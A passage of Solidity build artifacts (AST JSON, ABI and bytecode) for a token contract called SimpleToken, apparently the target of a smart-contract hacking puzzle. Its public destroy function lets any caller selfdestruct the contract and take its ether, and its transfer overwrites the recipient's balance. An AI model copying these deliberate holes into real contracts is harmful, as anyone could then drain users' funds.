nodeType":"VariableDeclaration","src":"300:43:103","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","nameLocation":"335:8:103","scope":54818,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":54737,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54735,"name":"address","nodeType":"ElementaryTypeName","src":"308:7:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"300:27:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54736,"name":"uint256","nodeType":"ElementaryTypeName","src":"319:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":54758,"nodeType":"FunctionDefinition","src":"369:149:103","nodes":[],"body":{"id":54757,"nodeType":"Block","src":"444:74:103","nodes":[],"statements":[{"expression":{"id":54749,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54747,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54734,"src":"454:4:103","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54748,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54740,"src":"461:5:103","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"454:12:103","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":54750,"nodeType":"ExpressionStatement","src":"454:12:103"},{"expression":{"id":54755,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54751,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"476:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54753,"indexExpression":{"id":54752,"name":"_creator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54742,"src":"485:8:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"476:18:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54754,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54744,"src":"497:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"476:35:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54756,"nodeType":"ExpressionStatement","src":"476:35:103"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54745,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54740,"mutability":"mutable","name":"_name","nameLocation":"395:5:103","nodeType":"VariableDeclaration","scope":54758,"src":"381:19:103","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":54739,"name":"string","nodeType":"ElementaryTypeName","src":"381:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":54742,"mutability":"mutable","name":"_creator","nameLocation":"410:8:103","nodeType":"VariableDeclaration","scope":54758,"src":"402:16:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54741,"name":"address","nodeType":"ElementaryTypeName","src":"402:7:103","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54744,"mutability":"mutable","name":"_initialSupply","nameLocation":"428:14:103","nodeType":"VariableDeclaration","scope":54758,"src":"420:22:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54743,"name":"uint256","nodeType":"ElementaryTypeName","src":"420:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"380:63:103"},"returnParameters":{"id":54746,"nodeType":"ParameterList","parameters":[],"src":"444:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54772,"nodeType":"FunctionDefinition","src":"566:81:103","nodes":[],"body":{"id":54771,"nodeType":"Block","src":"593:54:103","nodes":[],"statements":[{"expression":{"id":54769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54761,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"603:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54764,"indexExpression":{"expression":{"id":54762,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"612:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"616:6:103","memberName":"sender","nodeType":"MemberAccess","src":"612:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"603:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54768,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54765,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"626:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"630:5:103","memberName":"value","nodeType":"MemberAccess","src":"626:9:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"3130","id":54767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"638:2:103","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"626:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"603:37:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54770,"nodeType":"ExpressionStatement","src":"603:37:103"}]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54759,"nodeType":"ParameterList","parameters":[],"src":"573:2:103"},"returnParameters":{"id":54760,"nodeType":"ParameterList","parameters":[],"src":"593:0:103"},"scope":54818,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54807,"nodeType":"FunctionDefinition","src":"686:208:103","nodes":[],"body":{"id":54806,"nodeType":"Block","src":"741:153:103","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54785,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54780,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"759:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54783,"indexExpression":{"expression":{"id":54781,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"768:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54782,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"772:6:103","memberName":"sender","nodeType":"MemberAccess","src":"768:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"759:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":54784,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"783:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"759:31:103","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":54779,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"751:7:103","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":54786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"751:40:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54787,"nodeType":"ExpressionStatement","src":"751:40:103"},{"expression":{"id":54798,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54788,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"801:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54791,"indexExpression":{"expression":{"id":54789,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"810:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54790,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"814:6:103","memberName":"sender","nodeType":"MemberAccess","src":"810:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"801:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54797,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54792,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"824:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54795,"indexExpression":{"expression":{"id":54793,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"833:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"837:6:103","memberName":"sender","nodeType":"MemberAccess","src":"833:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"824:20:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":54796,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"847:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"824:30:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"801:53:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54799,"nodeType":"ExpressionStatement","src":"801:53:103"},{"expression":{"id":54804,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54800,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54738,"src":"864:8:103","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54802,"indexExpression":{"id":54801,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54774,"src":"873:3:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"864:13:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54803,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54776,"src":"880:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"864:23:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54805,"nodeType":"ExpressionStatement","src":"864:23:103"}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"695:8:103","parameters":{"id":54777,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54774,"mutability":"mutable","name":"_to","nameLocation":"712:3:103","nodeType":"VariableDeclaration","scope":54807,"src":"704:11:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54773,"name":"address","nodeType":"ElementaryTypeName","src":"704:7:103","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54776,"mutability":"mutable","name":"_amount","nameLocation":"725:7:103","nodeType":"VariableDeclaration","scope":54807,"src":"717:15:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54775,"name":"uint256","nodeType":"ElementaryTypeName","src":"717:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"703:30:103"},"returnParameters":{"id":54778,"nodeType":"ParameterList","parameters":[],"src":"741:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54817,"nodeType":"FunctionDefinition","src":"932:79:103","nodes":[],"body":{"id":54816,"nodeType":"Block","src":"977:34:103","nodes":[],"statements":[{"expression":{"arguments":[{"id":54813,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54809,"src":"1000:3:103","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":54812,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"987:12:103","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":54814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"987:17:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54815,"nodeType":"ExpressionStatement","src":"987:17:103"}]},"functionSelector":"00f55d9d","implemented":true,"kind":"function","modifiers":[],"name":"destroy","nameLocation":"941:7:103","parameters":{"id":54810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54809,"mutability":"mutable","name":"_to","nameLocation":"965:3:103","nodeType":"VariableDeclaration","scope":54817,"src":"949:19:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54808,"name":"address","nodeType":"ElementaryTypeName","src":"949:15:103","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"948:21:103"},"returnParameters":{"id":54811,"nodeType":"ParameterList","parameters":[],"src":"977:0:103"},"scope":54818,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"SimpleToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54818],"name":"SimpleToken","nameLocation":"258:11:103","scope":54819,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":103} \ No newline at end of file diff --git a/contracts/out/Recovery.sol/SimpleToken.json b/contracts/out/Recovery.sol/SimpleToken.json new file mode 100644 index 000000000..79a664297 --- /dev/null +++ b/contracts/out/Recovery.sol/SimpleToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_name","type":"string","internalType":"string"},{"name":"_creator","type":"address","internalType":"address"},{"name":"_initialSupply","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"destroy","inputs":[{"name":"_to","type":"address","internalType":"address payable"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"_to","type":"address","internalType":"address"},{"name":"_amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033","sourceMap":"249:764:103:-:0;;;369:149;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;454:4;:12;461:5;454:4;:12;:::i;:::-;-1:-1:-1;;;;;;476:18:103;;;;;;;:8;:18;;;;;:35;-1:-1:-1;249:764:103;;14:127:155;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:177;225:13;;-1:-1:-1;;;;;267:31:155;;257:42;;247:70;;313:1;310;303:12;247:70;146:177;;;:::o;328:1190::-;426:6;434;442;495:2;483:9;474:7;470:23;466:32;463:52;;;511:1;508;501:12;463:52;538:16;;-1:-1:-1;;;;;603:14:155;;;600:34;;;630:1;627;620:12;600:34;668:6;657:9;653:22;643:32;;713:7;706:4;702:2;698:13;694:27;684:55;;735:1;732;725:12;684:55;764:2;758:9;786:2;782;779:10;776:36;;;792:18;;:::i;:::-;867:2;861:9;835:2;921:13;;-1:-1:-1;;917:22:155;;;941:2;913:31;909:40;897:53;;;965:18;;;985:22;;;962:46;959:72;;;1011:18;;:::i;:::-;1051:10;1047:2;1040:22;1086:2;1078:6;1071:18;1108:4;1098:14;;1149:7;1144:2;1139;1135;1131:11;1127:20;1124:33;1121:53;;;1170:1;1167;1160:12;1121:53;1192:1;1183:10;;1202:129;1216:2;1213:1;1210:9;1202:129;;;1304:10;;;1300:19;;1294:26;1273:14;;;1269:23;;1262:59;1227:10;;;;1202:129;;;1373:1;1368:2;1363;1355:6;1351:15;1347:24;1340:35;1394:6;1384:16;;;;;1419:49;1464:2;1453:9;1449:18;1419:49;:::i;:::-;1409:59;;;;1508:2;1497:9;1493:18;1487:25;1477:35;;328:1190;;;;;:::o;1523:380::-;1602:1;1598:12;;;;1645;;;1666:61;;1720:4;1712:6;1708:17;1698:27;;1666:61;1773:2;1765:6;1762:14;1742:18;1739:38;1736:161;;1819:10;1814:3;1810:20;1807:1;1800:31;1854:4;1851:1;1844:15;1882:4;1879:1;1872:15;1736:161;;1523:380;;;:::o;2034:518::-;2136:2;2131:3;2128:11;2125:421;;;2172:5;2169:1;2162:16;2216:4;2213:1;2203:18;2286:2;2274:10;2270:19;2267:1;2263:27;2257:4;2253:38;2322:4;2310:10;2307:20;2304:47;;;-1:-1:-1;2345:4:155;2304:47;2400:2;2395:3;2391:12;2388:1;2384:20;2378:4;2374:31;2364:41;;2455:81;2473:2;2466:5;2463:13;2455:81;;;2532:1;2518:16;;2499:1;2488:13;2455:81;;;2459:3;;2125:421;2034:518;;;:::o;2728:1345::-;2848:10;;-1:-1:-1;;;;;2870:30:155;;2867:56;;;2903:18;;:::i;:::-;2932:97;3022:6;2982:38;3014:4;3008:11;2982:38;:::i;:::-;2976:4;2932:97;:::i;:::-;3084:4;;3141:2;3130:14;;3158:1;3153:663;;;;3860:1;3877:6;3874:89;;;-1:-1:-1;3929:19:155;;;3923:26;3874:89;-1:-1:-1;;2685:1:155;2681:11;;;2677:24;2673:29;2663:40;2709:1;2705:11;;;2660:57;3976:81;;3123:944;;3153:663;1981:1;1974:14;;;2018:4;2005:18;;-1:-1:-1;;3189:20:155;;;3307:236;3321:7;3318:1;3315:14;3307:236;;;3410:19;;;3404:26;3389:42;;3502:27;;;;3470:1;3458:14;;;;3337:19;;3307:236;;;3311:3;3571:6;3562:7;3559:19;3556:201;;;3632:19;;;3626:26;-1:-1:-1;;3715:1:155;3711:14;;;3727:3;3707:24;3703:37;3699:42;3684:58;3669:74;;3556:201;;;3803:1;3794:6;3791:1;3787:14;3783:22;3777:4;3770:36;3123:944;;;;;2728:1345;;:::o;:::-;249:764:103;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033","sourceMap":"249:764:103:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;626:14;:9;638:2;626:14;:::i;:::-;612:10;603:20;;;;:8;:20;;;;;:37;;;;249:764;;;;932:79;;;;;;;;;;-1:-1:-1;932:79:103;;;;;:::i;:::-;;:::i;:::-;;276:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;300:43;;;;;;;;;;-1:-1:-1;300:43:103;;;;;:::i;:::-;;;;;;;;;;;;;;;;;1770:25:155;;;1758:2;1743:18;300:43:103;1624:177:155;686:208:103;;;;;;;;;;-1:-1:-1;686:208:103;;;;;:::i;:::-;;:::i;932:79::-;1000:3;987:17;;;276:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;686:208::-;768:10;759:20;;;;:8;:20;;;;;;:31;-1:-1:-1;759:31:103;751:40;;;;;;833:10;824:20;;;;:8;:20;;;;;;:30;;847:7;;824:30;:::i;:::-;810:10;801:20;;;;:8;:20;;;;;;:53;;;;:20;864:13;;;;;;;;;:23;686:208::o;14:184:155:-;-1:-1:-1;;;63:1:155;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:168;276:9;;;307;;324:15;;;318:22;;304:37;294:71;;345:18;;:::i;:::-;203:168;;;;:::o;376:162::-;470:42;463:5;459:54;452:5;449:65;439:93;;528:1;525;518:12;439:93;376:162;:::o;543:263::-;610:6;663:2;651:9;642:7;638:23;634:32;631:52;;;679:1;676;669:12;631:52;718:9;705:23;737:39;770:5;737:39;:::i;:::-;795:5;543:263;-1:-1:-1;;;543:263:155:o;811:548::-;923:4;952:2;981;970:9;963:21;1013:6;1007:13;1056:6;1051:2;1040:9;1036:18;1029:34;1081:1;1091:140;1105:6;1102:1;1099:13;1091:140;;;1200:14;;;1196:23;;1190:30;1166:17;;;1185:2;1162:26;1155:66;1120:10;;1091:140;;;1095:3;1280:1;1275:2;1266:6;1255:9;1251:22;1247:31;1240:42;1350:2;1343;1339:7;1334:2;1326:6;1322:15;1318:29;1307:9;1303:45;1299:54;1291:62;;;;811:548;;;;:::o;1806:323::-;1874:6;1882;1935:2;1923:9;1914:7;1910:23;1906:32;1903:52;;;1951:1;1948;1941:12;1903:52;1990:9;1977:23;2009:39;2042:5;2009:39;:::i;:::-;2067:5;2119:2;2104:18;;;;2091:32;;-1:-1:-1;;;1806:323:155:o;2134:437::-;2213:1;2209:12;;;;2256;;;2277:61;;2331:4;2323:6;2319:17;2309:27;;2277:61;2384:2;2376:6;2373:14;2353:18;2350:38;2347:218;;-1:-1:-1;;;2418:1:155;2411:88;2522:4;2519:1;2512:15;2550:4;2547:1;2540:15;2347:218;;2134:437;;;:::o;2576:128::-;2643:9;;;2664:11;;;2661:37;;;2678:18;;:::i","linkReferences":{}},"methodIdentifiers":{"balances(address)":"27e235e3","destroy(address)":"00f55d9d","name()":"06fdde03","transfer(address,uint256)":"a9059cbb"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_name\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_creator\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_initialSupply\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address 